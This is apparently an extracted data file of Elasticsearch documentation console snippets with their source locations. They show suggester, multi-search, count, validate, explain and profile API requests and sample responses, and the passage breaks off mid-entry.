{"source_location":{"file":"search/suggesters/completion-suggest.asciidoc","line":362},"digest":"1a4f8beb6847678880ca113ee6fb75ca","lang":"console","found":["ruby"],"source":"POST music/_search?pretty\n{\n \"suggest\": {\n \"song-suggest\": {\n \"regex\": \"n[ever|i]r\",\n \"completion\": {\n \"field\": \"suggest\"\n }\n }\n }\n}"}, {"source_location":{"file":"search/suggesters/context-suggest.asciidoc","line":25},"digest":"6bfa0a9a50c4e94276c7d63af1c31d9e","lang":"console","found":["ruby"],"source":"PUT place\n{\n \"mappings\": {\n \"properties\": {\n \"suggest\": {\n \"type\": \"completion\",\n \"contexts\": [\n { <1>\n \"name\": \"place_type\",\n \"type\": \"category\"\n },\n { <2>\n \"name\": \"location\",\n \"type\": \"geo\",\n \"precision\": 4\n }\n ]\n }\n }\n }\n}\nPUT place_path_category\n{\n \"mappings\": {\n \"properties\": {\n \"suggest\": {\n \"type\": \"completion\",\n \"contexts\": [\n { <3>\n \"name\": \"place_type\",\n \"type\": \"category\",\n \"path\": \"cat\"\n },\n { <4>\n \"name\": \"location\",\n \"type\": \"geo\",\n \"precision\": 4,\n \"path\": \"loc\"\n }\n ]\n },\n \"loc\": {\n \"type\": \"geo_point\"\n }\n }\n }\n}"}, {"source_location":{"file":"search/suggesters/context-suggest.asciidoc","line":100},"digest":"dea4ac54c63a10c62eccd7b7f6543b86","lang":"console","found":["ruby"],"source":"PUT place/_doc/1\n{\n \"suggest\": {\n \"input\": [ \"timmy's\", \"starbucks\", \"dunkin donuts\" ],\n \"contexts\": {\n \"place_type\": [ \"cafe\", \"food\" ] <1>\n }\n }\n}"}, {"source_location":{"file":"search/suggesters/context-suggest.asciidoc","line":118},"digest":"99b617a0a83fcfbe5755ccc724a4ce62","lang":"console","found":["ruby"],"source":"PUT place_path_category/_doc/1\n{\n \"suggest\": [\"timmy's\", \"starbucks\", \"dunkin donuts\"],\n \"cat\": [\"cafe\", \"food\"] <1>\n}"}, {"source_location":{"file":"search/suggesters/context-suggest.asciidoc","line":140},"digest":"c4272ad0309ffbcbe9ce96bf9fb4352a","lang":"console","found":["ruby"],"source":"POST place/_search?pretty\n{\n \"suggest\": {\n \"place_suggestion\": {\n \"prefix\": \"tim\",\n \"completion\": {\n \"field\": \"suggest\",\n \"size\": 10,\n \"contexts\": {\n \"place_type\": [ \"cafe\", \"restaurants\" ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"search/suggesters/context-suggest.asciidoc","line":168},"digest":"25ae1a698f867ba5139605cc952436c0","lang":"console","found":["ruby"],"source":"POST place/_search?pretty\n{\n \"suggest\": {\n \"place_suggestion\": {\n \"prefix\": \"tim\",\n \"completion\": {\n \"field\": \"suggest\",\n \"size\": 10,\n \"contexts\": {\n \"place_type\": [ <1>\n { \"context\": \"cafe\" },\n { \"context\": \"restaurants\", \"boost\": 2 }\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"search/suggesters/context-suggest.asciidoc","line":253},"digest":"eb09235533a1c65a0627ba05f7d4ad4d","lang":"console","found":["ruby"],"source":"PUT place/_doc/1\n{\n \"suggest\": {\n \"input\": \"timmy's\",\n \"contexts\": {\n \"location\": [\n {\n \"lat\": 43.6624803,\n \"lon\": -79.3863353\n },\n {\n \"lat\": 43.6624718,\n \"lon\": -79.3873227\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"search/suggesters/context-suggest.asciidoc","line":282},"digest":"6febf0e6883b23b15ac213abc4bac326","lang":"console","found":["ruby"],"source":"POST place/_search\n{\n \"suggest\": {\n \"place_suggestion\": {\n \"prefix\": \"tim\",\n \"completion\": {\n \"field\": \"suggest\",\n \"size\": 10,\n \"contexts\": {\n \"location\": {\n \"lat\": 43.662,\n \"lon\": -79.380\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"search/suggesters/context-suggest.asciidoc","line":315},"digest":"6521c3578dc4ad4a6db697700986e78e","lang":"console","found":["ruby"],"source":"POST place/_search?pretty\n{\n \"suggest\": {\n \"place_suggestion\": {\n \"prefix\": \"tim\",\n \"completion\": {\n \"field\": \"suggest\",\n \"size\": 10,\n \"contexts\": {\n \"location\": [ <1>\n {\n \"lat\": 43.6624803,\n \"lon\": -79.3863353,\n \"precision\": 2\n },\n {\n \"context\": {\n \"lat\": 43.6624803,\n \"lon\": -79.3863353\n },\n \"boost\": 2\n }\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"search/suggesters/misc.asciidoc","line":10},"digest":"e194e9cbe3eb2305f4f7cdda0cf529bd","lang":"console","found":["ruby"],"source":"POST _search?typed_keys\n{\n \"suggest\": {\n \"text\" : \"some test mssage\",\n \"my-first-suggester\" : {\n \"term\" : {\n \"field\" : \"message\"\n }\n },\n \"my-second-suggester\" : {\n \"phrase\" : {\n \"field\" : \"message\"\n }\n }\n }\n}"}, {"source_location":{"file":"search/suggesters/misc.asciidoc","line":34},"digest":"e271c47fe54d36c6e09791d1a50ce314","lang":"console-result","found":[],"source":"{\n \"suggest\": {\n \"term#my-first-suggester\": [ <1>\n {\n \"text\": \"some\",\n \"offset\": 0,\n \"length\": 4,\n \"options\": []\n },\n {\n \"text\": \"test\",\n \"offset\": 5,\n \"length\": 4,\n \"options\": []\n },\n {\n \"text\": \"mssage\",\n \"offset\": 10,\n \"length\": 6,\n \"options\": [\n {\n \"text\": \"message\",\n \"score\": 0.8333333,\n \"freq\": 4\n }\n ]\n }\n ],\n \"phrase#my-second-suggester\": [ <2>\n {\n \"text\": \"some test mssage\",\n \"offset\": 0,\n \"length\": 16,\n \"options\": [\n {\n \"text\": \"some test message\",\n \"score\": 0.030227963\n }\n ]\n }\n ]\n },\n ...\n}"}, {"source_location":{"file":"search/multi-search.asciidoc","line":10},"digest":"06b5d3d56c4d4e3b61ae42ea26401c40","lang":"console","found":["ruby"],"source":"GET my-index-000001/_msearch\n{ }\n{\"query\" : {\"match\" : { \"message\": \"this is a test\"}}}\n{\"index\": \"my-index-000002\"}\n{\"query\" : {\"match_all\" : {}}}"}, {"source_location":{"file":"search/multi-search.asciidoc","line":312},"digest":"adc18ca0c344d81d68ec3b9422b54ff5","lang":"console","found":["ruby"],"source":"GET my-index-000001/_msearch\n{}\n{\"query\" : {\"match_all\" : {}}, \"from\" : 0, \"size\" : 10}\n{}\n{\"query\" : {\"match_all\" : {}}}\n{\"index\" : \"my-index-000002\"}\n{\"query\" : {\"match_all\" : {}}}"}, {"source_location":{"file":"search/count.asciidoc","line":10},"digest":"ad3b159657d4bcb373623fdc61acc3bf","lang":"console","found":["python","ruby"],"source":"GET /my-index-000001/_count?q=user:kimchy"}, {"source_location":{"file":"search/count.asciidoc","line":105},"digest":"87416e6a1ca2da324dbed6deb05303eb","lang":"console","found":["python","ruby"],"source":"PUT /my-index-000001/_doc/1?refresh\n{\n \"user.id\": \"kimchy\"\n}\n\nGET /my-index-000001/_count?q=user:kimchy\n\nGET /my-index-000001/_count\n{\n \"query\" : {\n \"term\" : { \"user.id\" : \"kimchy\" }\n }\n}"}, {"source_location":{"file":"search/count.asciidoc","line":125},"digest":"7f479d260c265f21752b5ae7c980fd72","lang":"console-result","found":[],"source":"{\n \"count\": 1,\n \"_shards\": {\n \"total\": 1,\n \"successful\": 1,\n \"skipped\": 0,\n \"failed\": 0\n }\n}"}, {"source_location":{"file":"search/validate.asciidoc","line":10},"digest":"f3b185131f40687c25d2f85e1231d8bd","lang":"console","found":["ruby"],"source":"GET my-index-000001/_validate/query?q=user.id:kimchy"}, {"source_location":{"file":"search/validate.asciidoc","line":87},"digest":"d4d450f536d747d5ef5050d2d8c66f09","lang":"console","found":["ruby"],"source":"PUT my-index-000001/_bulk?refresh\n{\"index\":{\"_id\":1}}\n{\"user\" : { \"id\": \"kimchy\" }, \"@timestamp\" : \"2099-11-15T14:12:12\", \"message\" : \"trying out Elasticsearch\"}\n{\"index\":{\"_id\":2}}\n{\"user\" : { \"id\": \"kimchi\" }, \"@timestamp\" : \"2099-11-15T14:12:13\", \"message\" : \"My user ID is similar to kimchy!\"}"}, {"source_location":{"file":"search/validate.asciidoc","line":99},"digest":"f3b185131f40687c25d2f85e1231d8bd","lang":"console","found":["ruby"],"source":"GET my-index-000001/_validate/query?q=user.id:kimchy"}, {"source_location":{"file":"search/validate.asciidoc","line":108},"digest":"dde3105cdd6190eb8c8c392f5fcfcce5","lang":"console-result","found":[],"source":"{\"valid\":true,\"_shards\":{\"total\":1,\"successful\":1,\"failed\":0}}"}, {"source_location":{"file":"search/validate.asciidoc","line":116},"digest":"4ae494d1e62231e832fc0436b04e2014","lang":"console","found":["ruby"],"source":"GET my-index-000001/_validate/query\n{\n \"query\" : {\n \"bool\" : {\n \"must\" : {\n \"query_string\" : {\n \"query\" : \"*:*\"\n }\n },\n \"filter\" : {\n \"term\" : { \"user.id\" : \"kimchy\" }\n }\n }\n }\n}"}, {"source_location":{"file":"search/validate.asciidoc","line":143},"digest":"2d60e3bdfee7afbddee149f40450b8b5","lang":"console","found":["ruby"],"source":"GET my-index-000001/_validate/query\n{\n \"query\": {\n \"query_string\": {\n \"query\": \"@timestamp:foo\",\n \"lenient\": false\n }\n }\n}"}, {"source_location":{"file":"search/validate.asciidoc","line":157},"digest":"bda06f3e3031f6ef16990d18c6e261d7","lang":"console-result","found":[],"source":"{\"valid\":false,\"_shards\":{\"total\":1,\"successful\":1,\"failed\":0}}"}, {"source_location":{"file":"search/validate.asciidoc","line":167},"digest":"75aba7b1d3a22dce62f26b8b1e6bee58","lang":"console","found":["ruby"],"source":"GET my-index-000001/_validate/query?explain=true\n{\n \"query\": {\n \"query_string\": {\n \"query\": \"@timestamp:foo\",\n \"lenient\": false\n }\n }\n}"}, {"source_location":{"file":"search/validate.asciidoc","line":184},"digest":"cb8060c482b9c1c2dcd6599946632bbc","lang":"console-result","found":[],"source":"{\n \"valid\" : false,\n \"_shards\" : {\n \"total\" : 1,\n \"successful\" : 1,\n \"failed\" : 0\n },\n \"explanations\" : [ {\n \"index\" : \"my-index-000001\",\n \"valid\" : false,\n \"error\" : \"my-index-000001/IAEc2nIXSSunQA_suI0MLw] QueryShardException[failed to create query:...failed to parse date field [foo]\"\n } ]\n}"}, {"source_location":{"file":"search/validate.asciidoc","line":208},"digest":"a5e793d82a4455cf4105dac82a156617","lang":"console","found":["ruby"],"source":"GET my-index-000001/_validate/query?rewrite=true\n{\n \"query\": {\n \"more_like_this\": {\n \"like\": {\n \"_id\": \"2\"\n },\n \"boost_terms\": 1\n }\n }\n}"}, {"source_location":{"file":"search/validate.asciidoc","line":227},"digest":"3699765f419f8b00a55b48cbc75849fc","lang":"console-result","found":[],"source":"{\n \"valid\": true,\n \"_shards\": {\n \"total\": 1,\n \"successful\": 1,\n \"failed\": 0\n },\n \"explanations\": [\n {\n \"index\": \"my-index-000001\",\n \"valid\": true,\n \"explanation\": \"((user:terminator^3.71334 plot:future^2.763601 plot:human^2.8415773 plot:sarah^3.4193945 plot:kyle^3.8244398 plot:cyborg^3.9177752 plot:connor^4.040236 plot:reese^4.7133346 ... )~6) -ConstantScore(_id:2)) #(ConstantScore(_type:_doc))^0.0\"\n }\n ]\n}"}, {"source_location":{"file":"search/validate.asciidoc","line":266},"digest":"1f6a190fa1aade1fb66680388f184ef9","lang":"console","found":["ruby"],"source":"GET my-index-000001/_validate/query?rewrite=true&all_shards=true\n{\n \"query\": {\n \"match\": {\n \"user.id\": {\n \"query\": \"kimchy\",\n \"fuzziness\": \"auto\"\n }\n }\n }\n}"}, {"source_location":{"file":"search/validate.asciidoc","line":284},"digest":"8fd242c6680d084c3a665dad52289cb8","lang":"console-result","found":[],"source":"{\n \"valid\": true,\n \"_shards\": {\n \"total\": 1,\n \"successful\": 1,\n \"failed\": 0\n },\n \"explanations\": [\n {\n \"index\": \"my-index-000001\",\n \"shard\": 0,\n \"valid\": true,\n \"explanation\": \"(user.id:kimchi)^0.8333333 user.id:kimchy\"\n }\n ]\n}"}, {"source_location":{"file":"search/terms-enum.asciidoc","line":13},"digest":"f4b9baed3c6a82be3672cbc8999c2368","lang":"console","found":["ruby"],"source":"POST stackoverflow/_terms_enum\n{\n \"field\" : \"tags\",\n \"string\" : \"kiba\"\n}"}, {"source_location":{"file":"search/terms-enum.asciidoc","line":26},"digest":"edf2c337c1b748105f34144820297383","lang":"console-result","found":[],"source":"{\n \"_shards\": {\n \"total\": 1,\n \"successful\": 1,\n \"failed\": 0\n },\n \"terms\": [\n \"kibana\"\n ],\n \"complete\" : true\n}"}, {"source_location":{"file":"search/explain.asciidoc","line":11},"digest":"e0fcef99656799de6b88117d56f131e2","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_explain/0\n{\n \"query\" : {\n \"match\" : { \"message\" : \"elasticsearch\" }\n }\n}"}, {"source_location":{"file":"search/explain.asciidoc","line":99},"digest":"e0fcef99656799de6b88117d56f131e2","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_explain/0\n{\n \"query\" : {\n \"match\" : { \"message\" : \"elasticsearch\" }\n }\n}"}, {"source_location":{"file":"search/explain.asciidoc","line":113},"digest":"04cd39b8444d15e37028342439a71112","lang":"console-result","found":[],"source":"{\n \"_index\":\"my-index-000001\",\n \"_id\":\"0\",\n \"matched\":true,\n \"explanation\":{\n \"value\":1.6943598,\n \"description\":\"weight(message:elasticsearch in 0) [PerFieldSimilarity], result of:\",\n \"details\":[\n {\n \"value\":1.6943598,\n \"description\":\"score(freq=1.0), computed as boost * idf * tf from:\",\n \"details\":[\n {\n \"value\":2.2,\n \"description\":\"boost\",\n \"details\":[]\n },\n {\n \"value\":1.3862944,\n \"description\":\"idf, computed as log(1 + (N - n + 0.5) / (n + 0.5)) from:\",\n \"details\":[\n {\n \"value\":1,\n \"description\":\"n, number of documents containing term\",\n \"details\":[]\n },\n {\n \"value\":5,\n \"description\":\"N, total number of documents with field\",\n \"details\":[]\n }\n ]\n },\n {\n \"value\":0.5555556,\n \"description\":\"tf, computed as freq / (freq + k1 * (1 - b + b * dl / avgdl)) from:\",\n \"details\":[\n {\n \"value\":1.0,\n \"description\":\"freq, occurrences of term within document\",\n \"details\":[]\n },\n {\n \"value\":1.2,\n \"description\":\"k1, term saturation parameter\",\n \"details\":[]\n },\n {\n \"value\":0.75,\n \"description\":\"b, length normalization parameter\",\n \"details\":[]\n },\n {\n \"value\":3.0,\n \"description\":\"dl, length of field\",\n \"details\":[]\n },\n {\n \"value\":5.4,\n \"description\":\"avgdl, average length of field\",\n \"details\":[]\n }\n ]\n }\n ]\n }\n ]\n }\n}"}, {"source_location":{"file":"search/explain.asciidoc","line":192},"digest":"2e36fe22051a47e052e349854d9948b9","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_explain/0?q=message:search"}, {"source_location":{"file":"search/profile.asciidoc","line":35},"digest":"44b8a236d7cfb31c43c6d066ae16d8cd","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_search\n{\n \"profile\": true,<1>\n \"query\" : {\n \"match\" : { \"message\" : \"GET /search\" }\n }\n}"}, {"source_location":{"file":"search/profile.asciidoc","line":53},"digest":"29b5f28888ff9b2f30b59a2029c2a467","lang":"console-result","found":[],"source":"{\n \"took\": 25,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 1,\n \"successful\": 1,\n \"skipped\": 0,\n \"failed\": 0\n },\n \"hits\": {\n \"total\": {\n \"value\": 5,\n \"relation\": \"eq\"\n },\n \"max_score\": 0.17402273,\n \"hits\": [...] <1>\n },\n \"profile\": {\n \"shards\": [\n {\n \"id\": \"[q2aE02wS1R8qQFnYu6vDVQ][my-index-000001][0]\",\n \"node_id\": \"q2aE02wS1R8qQFnYu6vDVQ\",\n \"shard_id\": 0,\n \"index\": \"my-index-000001\",\n \"cluster\": \"(local)\",\n \"searches\": [\n {\n \"query\": [\n {\n \"type\": \"BooleanQuery\",\n \"description\": \"message:get message:search\",\n \"time_in_nanos\" : 11972972,\n \"breakdown\" : {\n \"set_min_competitive_score_count\": 0,\n \"match_count\": 5,\n \"shallow_advance_count\": 0,\n \"set_min_competitive_score\": 0,\n \"next_doc\": 39022,\n \"match\": 4456,\n \"next_doc_count\": 5,\n \"score_count\": 5,\n \"compute_max_score_count\": 0,\n \"compute_max_score\": 0,\n \"advance\": 84525,\n \"advance_count\": 1,\n \"score\": 37779,\n \"build_scorer_count\": 2,\n \"create_weight\": 4694895,\n \"shallow_advance\": 0,\n \"create_weight_count\": 1,\n \"build_scorer\": 7112295,\n \"count_weight\": 0,\n \"count_weight_count\": 0\n },\n \"children\": [\n {\n \"type\": \"TermQuery\",\n \"description\": \"message:get\",\n \"time_in_nanos\": 3801935,\n \"breakdown\": {\n \"set_min_competitive_score_count\": 0,\n \"match_count\": 0,\n \"shallow_advance_count\": 3,\n \"set_min_competitive_score\": 0,\n \"next_doc\": 0,\n \"match\": 0,\n \"next_doc_count\": 0,\n \"score_count\": 5,\n \"compute_max_score_count\": 3,\n \"compute_max_score\": 32487,\n \"advance\": 5749,\n \"advance_count\": 6,\n \"score\": 16219,\n \"build_scorer_count\": 3,\n \"create_weight\": 2382719,\n \"shallow_advance\": 9754,\n \"create_weight_count\": 1,\n \"build_scorer\": 1355007,\n \"count_weight\": 0,\n \"count_weight_count\": 0\n }\n },\n {\n \"type\": \"TermQuery\",\n \"description\": \"message:search\",\n \"time_in_nanos\": 205654,\n \"breakdown\": {\n \"set_min_competitive_score_count\": 0,\n \"match_count\": 0,\n \"shallow_advance_count\": 3,\n \"set_min_competitive_score\": 0,\n \"next_doc\": 0,\n \"match\": 0,\n \"next_doc_count\": 0,\n \"score_count\": 5,\n \"compute_max_score_count\": 3,\n \"compute_max_score\": 6678,\n \"advance\": 12733,\n \"advance_count\": 6,\n \"score\": 6627,\n \"build_scorer_count\": 3,\n \"create_weight\": 130951,\n \"shallow_advance\": 2512,\n \"create_weight_count\": 1,\n \"build_scorer\": 46153,\n \"count_weight\": 0,\n \"count_weight_count\": 0\n }\n }\n ]\n }\n ],\n \"rewrite_time\": 451233,\n \"collector\": [\n {\n \"name\": \"QueryPhaseCollector\",\n \"reason\": \"search_query_phase\",\n \"time_in_nanos\": 775274,\n \"children\" : [\n {\n \"name\": \"SimpleTopScoreDocCollector\",\n \"reason\": \"search_top_hits\",\n \"time_in_nanos\": 775274\n }\n ]\n }\n ]\n }\n ],\n \"aggregations\": [],\n \"fetch\": {\n \"type\": \"fetch\",\n \"description\": \"\",\n \"time_in_nanos\": 660555,\n \"breakdown\": {\n \"next_reader\": 7292,\n \"next_reader_count\": 1,\n \"load_stored_fields\": 299325,\n \"load_stored_fields_count\": 5,\n \"load_source\": 3863,\n \"load_source_count\": 5\n },\n \"debug\": {\n \"stored_fields\": [\"_id\", \"_routing\", \"_source\"]\n },\n \"children\": [\n {\n \"type\" : \"FetchFieldsPhase\",\n \"description\" : \"\",\n \"time_in_nanos\" : 238762,\n \"breakdown\" : {\n \"process_count\" : 5,\n \"process\" : 227914,\n \"next_reader\" : 10848,\n \"next_reader_count\" : 1\n }\n },\n {\n \"type\": \"FetchSourcePhase\",\n \"description\": \"\",\n \"time_in_nanos\": 20443,\n \"breakdown\": {\n \"next_reader\": 745,\n \"next_reader_count\": 1,\n \"process\": 19698,\n \"process_count\": 5\n },\n \"debug\": {\n \"fast_path\": 5\n }\n },\n {\n \"type\": \"StoredFieldsPhase\",\n \"description\": \"\",\n \"time_in_nanos\": 5310,\n \"breakdown\": {\n \"next_reader\": 745,\n \"next_reader_count\": 1,\n \"process\": 4445,\n \"process_count\": 5\n }\n }\n ]\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"search/profile.asciidoc","line":258},"digest":"a19cadb97c634170487814a79518ae96","lang":"console-result","found":[],"source":"{\n \"profile\": {\n \"shards\": [\n {\n \"id\": \"[q2aE02wS1R8qQFnYu6vDVQ][my-index-000001][0]\", <1>\n \"node_id\": \"q2aE02wS1R8qQFnYu6vDVQ\",\n \"shard_id\": 0,\n \"index\": \"my-index-000001\",\n \"cluster\": \"(local)\", <2>\n \"searches\": [\n {\n \"query\": [...], <3>\n \"rewrite_time\": 51443, <4>\n \"collector\": [...] <5>\n }\n ],\n \"aggregations\": [...], <6>\n \"fetch\": {...} <7>\n }\n ]\n }\n}"}, {"source_location":{"file":"search/profile.asciidoc","line":357},"digest":"88b1a2cf17d7289db8c7e15d472efb4c","lang":"console-result","found":[],"source":"\"query\": [\n {\n \"type\": \"BooleanQuery\",\n \"description\": \"message:get message:search\",\n \"time_in_nanos\": \"11972972\",\n \"breakdown\": {...}, <1>\n \"children\": [\n {\n \"type\": \"TermQuery\",\n \"description\": \"message:get\",\n \"time_in_nanos\": \"3801935\",\n \"breakdown\": {...}\n },\n {\n \"type\": \"TermQuery\",\n \"description\": \"message:search\",\n \"time_in_nanos\": \"205654\",\n \"breakdown\": {...}\n }\n ]\n }\n]"}, {"source_location":{"file":"search/profile.asciidoc","line":411},"digest":"f025cead6c1af8c26dd75e971dd82e1a","lang":"console-result","found":[],"source":"\"breakdown\": {\n \"set_min_competitive_score_count\": 0,\n \"match_count\": 5,\n \"shallow_advance_count\": 0,\n \"set_min_competitive_score\": 0,\n \"next_doc\": 39022,\n \"match\": 4456,\n \"next_doc_count\": 5,\n \"score_count\": 5,\n \"compute_max_score_count\": 0,\n \"compute_max_score\": 0,\n \"advance\": 84525,\n \"advance_count\": 1,\n \"score\": 37779,\n \"build_scorer_count\": 2,\n \"create_weight\": 4694895,\n \"shallow_advance\": 0,\n \"create_weight_count\": 1,\n \"build_scorer\": 7112295,\n \"count_weight\": 0,\n \"count_weight_count\": 0\n}"}, {"source_location":{"file":"search/profile.asciidoc","line":527},"digest":"0b9edb9ab5fd77036c60c4087ed63de6","lang":"console-result","found":[],"source":"\"collector\": [\n {\n \"name\": \"QueryPhaseCollector\",\n \"reason\": \"search_query_phase\",\n \"time_in_nanos\": 775274,\n \"children\" : [\n {\n \"name\": \"SimpleTopScoreDocCollector\",\n \"reason\": \"search_top_hits\",\n \"time_in_nanos\": 775274\n }\n ]\n }\n]"}, {"source_location":{"file":"search/profile.asciidoc","line":622},"digest":"97f5df84efec655f479fad78bc392d4d","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_search\n{\n \"profile\": true,\n \"query\": {\n \"term\": {\n \"user.id\": {\n \"value\": \"elkbee\"\n }\n }\n },\n \"aggs\": {\n \"my_scoped_agg\": {\n \"terms\": {\n \"field\": \"http.response.status_code\"\n }\n },\n \"my_global_agg\": {\n \"global\": {},\n \"aggs\": {\n \"my_level_agg\": {\n \"terms\": {\n \"field\": \"http.response.status_code\"\n }\n }\n }\n }\n },\n \"post_filter\": {\n \"match\": {\n \"message\": \"search\"\n }\n }\n}"}, {"source_location":{"file":"search/profile.asciidoc","line":672},"digest":"66b600b559d283f003a1a0e866074dbb","lang":"console-result","found":[],"source":"{\n ...\n \"profile\": {\n \"shards\": [\n {\n \"id\": \"[P6xvulHtQRWuD4YnubWb7A][my-index-000001][0]\",\n \"node_id\": \"P6xvulHtQRWuD4YnubWb7A\",\n \"shard_id\": 0,\n \"index\": \"my-index-000001\",\n \"cluster\": \"(local)\",\n \"searches\": [\n {\n \"query\": [\n {\n \"type\": \"TermQuery\",\n \"description\": \"message:search\",\n \"time_in_nanos\": 141618,\n \"breakdown\": {\n \"set_min_competitive_score_count\": 0,\n \"match_count\": 0,\n \"shallow_advance_count\": 0,\n \"set_min_competitive_score\": 0,\n \"next_doc\": 0,\n \"match\": 0,\n \"next_doc_count\": 0,\n \"score_count\": 0,\n \"compute_max_score_count\": 0,\n \"compute_max_score\": 0,\n \"advance\": 3942,\n \"advance_count\": 4,\n \"count_weight_count\": 0,\n \"score\": 0,\n \"build_scorer_count\": 2,\n \"create_weight\": 38380,\n \"shallow_advance\": 0,\n \"count_weight\": 0,\n \"create_weight_count\": 1,\n \"build_scorer\": 99296\n }\n },\n {\n \"type\": \"TermQuery\",\n \"description\": \"user.id:elkbee\",\n \"time_in_nanos\": 163081,\n \"breakdown\": {\n \"set_min_competitive_score_count\": 0,\n \"match_count\": 0,\n \"shallow_advance_count\": 0,\n \"set_min_competitive_score\": 0,\n \"next_doc\": 2447,\n \"match\": 0,\n \"next_doc_count\": 4,\n \"score_count\": 4,\n \"compute_max_score_count\": 0,\n \"compute_max_score\": 0,\n \"advance\": 3552,\n \"advance_count\": 1,\n \"score\": 5027,\n \"count_weight_count\": 0,\n \"build_scorer_count\": 2,\n \"create_weight\": 107840,\n \"shallow_advance\": 0,\n \"count_weight\": 0,\n \"create_weight_count\": 1,\n \"build_scorer\": 44215\n }\n }\n ],\n \"rewrite_time\": 4769,\n \"collector\": [\n {\n \"name\": \"QueryPhaseCollector\",\n \"reason\": \"search_query_phase\",\n \"time_in_nanos\": 1945072,\n \"children\": [\n {\n \"name\": \"SimpleTopScoreDocCollector\",\n \"reason\": \"search_top_hits\",\n \"time_in_nanos\": 22577\n },\n {\n \"name\": \"AggregatorCollector: [my_scoped_agg, my_global_agg]\",\n \"reason\": \"aggregation\",\n \"time_in_nanos\": 867617\n }\n ]\n }\n ]\n }\n ],\n \"aggregations\": [...], <1>\n \"fetch\": {...}\n }\n ]\n }\n}"}, {"source_location":{"file":"search/profile.asciidoc","line":830},"digest":"97f5df84efec655f479fad78bc392d4d","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_search\n{\n \"profile\": true,\n \"query\": {\n \"term\": {\n \"user.id\": {\n \"value\": \"elkbee\"\n }\n }\n },\n \"aggs\": {\n \"my_scoped_agg\": {\n \"terms\": {\n \"field\": \"http.response.status_code\"\n }\n },\n \"my_global_agg\": {\n \"global\": {},\n \"aggs\": {\n \"my_level_agg\": {\n \"terms\": {\n \"field\": \"http.response.status_code\"\n }\n }\n }\n }\n },\n \"post_filter\": {\n \"match\": {\n \"message\": \"search\"\n }\n }\n}"}, {"source_location":{"file":"search/profile.asciidoc","line":872},"digest":"f46bb9953495daaadbfd1daa09391aa6","lang":"console-result","found":[],"source":"{\n \"profile\": {\n \"shards\": [\n {\n \"aggregations\": [\n {\n \"type\": \"NumericTermsAggregator\",\n \"description\": \"my_scoped_agg\",\n \"time_in_nanos\": 79294,\n \"breakdown\": {\n \"reduce\": 0,\n \"build_aggregation\": 30885,\n \"build_aggregation_count\": 1,\n \"initialize\": 2623,\n \"initialize_count\": 1,\n \"reduce_count\": 0,\n \"collect\": 45786,\n \"collect_count\": 4,\n \"build_leaf_collector\": 18211,\n \"build_leaf_collector_count\": 1,\n \"post_collection\": 929,\n \"post_collection_count\": 1\n },\n \"debug\": {\n \"total_buckets\": 1,\n \"result_strategy\": \"long_terms\",\n \"built_buckets\": 1\n }\n },\n {\n \"type\": \"GlobalAggregator\",\n \"description\": \"my_global_agg\",\n \"time_in_nanos\": 104325,\n \"breakdown\": {\n \"reduce\": 0,\n \"build_aggregation\": 22470,\n \"build_aggregation_count\": 1,\n \"initialize\": 12454,\n \"initialize_count\": 1,\n \"reduce_count\": 0,\n \"collect\": 69401,\n \"collect_count\": 4,\n \"build_leaf_collector\": 8150,\n \"build_leaf_collector_count\": 1,\n \"post_collection\": 1584,\n \"post_collection_count\": 1\n },\n \"debug\": {\n \"built_buckets\": 1\n },\n \"children\": [\n {\n \"type\": \"NumericTermsAggregator\",\n \"description\": \"my_level_agg\",\n \"time_in_nanos\": 76876,\n \"breakdown\": {\n \"reduce\": 0,\n \"build_aggregation\": 13824,\n \"build_aggregation_count\": 1,\n \"initialize\": 1441,\n \"initialize_count\": 1,\n \"reduce_count\": 0,\n \"collect\": 61611,\n \"collect_count\": 4,\n \"build_leaf_collector\": 5564,\n \"build_leaf_collector_count\": 1,\n \"post_collection\": 471,\n \"post_collection_count\": 1\n },\n \"debug\": {\n \"total_buckets\": 1,\n \"result_strategy\": \"long_terms\",\n \"built_buckets\": 1\n }\n }\n ]\n }\n ]\n }\n ]\n }\n}"}, {"source_location":{"file":"search/profile.asciidoc","line":1018},"digest":"578808065fee8691355b8f25c35782cd","lang":"console","found":["ruby"],"source":"GET /my-index-000001/_search?filter_path=profile.shards.fetch\n{\n \"profile\": true,\n \"query\": {\n \"term\": {\n \"user.id\": {\n \"value\": \"elkbee\"\n }\n }\n }\n}"}, {"source_location":{"file":"search/profile.asciidoc","line":1036},"digest":"59f65f294933af73fd05ce1d244cfca3","lang":"console-result","found":[],"source":"{\n \"profile\": {\n \"shards\": [\n {\n \"fetch\": {\n \"type\": \"fetch\",\n \"description\": \"\",\n \"time_in_nanos\": 660555,\n \"breakdown\": {\n \"next_reader\": 7292,\n \"next_reader_count\": 1,\n \"load_stored_fields\": 299325,\n \"load_stored_fields_count\": 5,\n \"load_source\": 3863,\n \"load_source_count\": 5\n },\n \"debug\": {\n \"stored_fields\": [\"_id\", \"_routing\", \"_source\"]\n },\n \"children\": [\n {\n \"type\" : \"FetchFieldsPhase\",\n \"description\" : \"\",\n \"time_in_nanos\" : 238762,\n \"breakdown\" : {\n \"process_count\" : 5,\n \"process\" : 227914,\n \"next_reader\" : 10848,\n \"next_reader_count\" : 1\n }\n },\n {\n \"type\": \"FetchSourcePhase\",\n \"description\": \"\",\n \"time_in_nanos\": 20443,\n \"breakdown\": {\n \"next_reader\": 745,\n \"next_reader_count\": 1,\n \"process\": 19698,\n \"process_count\": 5\n },\n \"debug\": {\n \"fast_path\": 4\n }\n },\n {\n \"type\": \"StoredFieldsPhase\",\n \"description\": \"\",\n \"time_in_nanos\": 5310,\n \"breakdown\": {\n \"next_reader\": 745,\n \"next_reader_count\": 1,\n \"process\": 4445,\n \"process_count\": 5\n }\n }\n ]\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"search/profile.asciidoc","line":1155},"digest":"558b3f9b987771e9f9f35e51a0d7e062","lang":"console","found":["ruby"],"source":"PUT my-dfs-index\n{\n \"settings\": {\n 